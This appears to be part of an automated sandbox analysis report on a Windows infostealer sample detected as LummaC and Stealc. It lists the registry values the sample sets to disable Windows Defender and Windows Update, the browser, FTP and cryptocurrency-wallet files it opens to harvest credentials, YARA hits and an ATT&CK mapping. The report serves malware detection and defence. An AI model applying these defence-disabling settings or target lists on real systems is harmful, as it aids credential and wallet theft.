Source: C:\Users\user\Desktop\2jx1O1t486.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\2jx1O1t486.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: 2jx1O1t486.exe, 00000000.00000003.1609992116.0000000005A55000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\2jx1O1t486.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 2jx1O1t486.exe PID: 7816, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000004.00000002.1850249772.000000000078C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1850609273.0000000000D11000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1796375087.0000000004860000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe PID: 5400, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\2jx1O1t486.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior

Source: Yara match

File source: Process Memory Space: 2jx1O1t486.exe PID: 7816, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 2jx1O1t486.exe PID: 7816, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000004.00000002.1850249772.000000000078C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1850609273.0000000000D11000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1796375087.0000000004860000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe PID: 5400, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	41 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
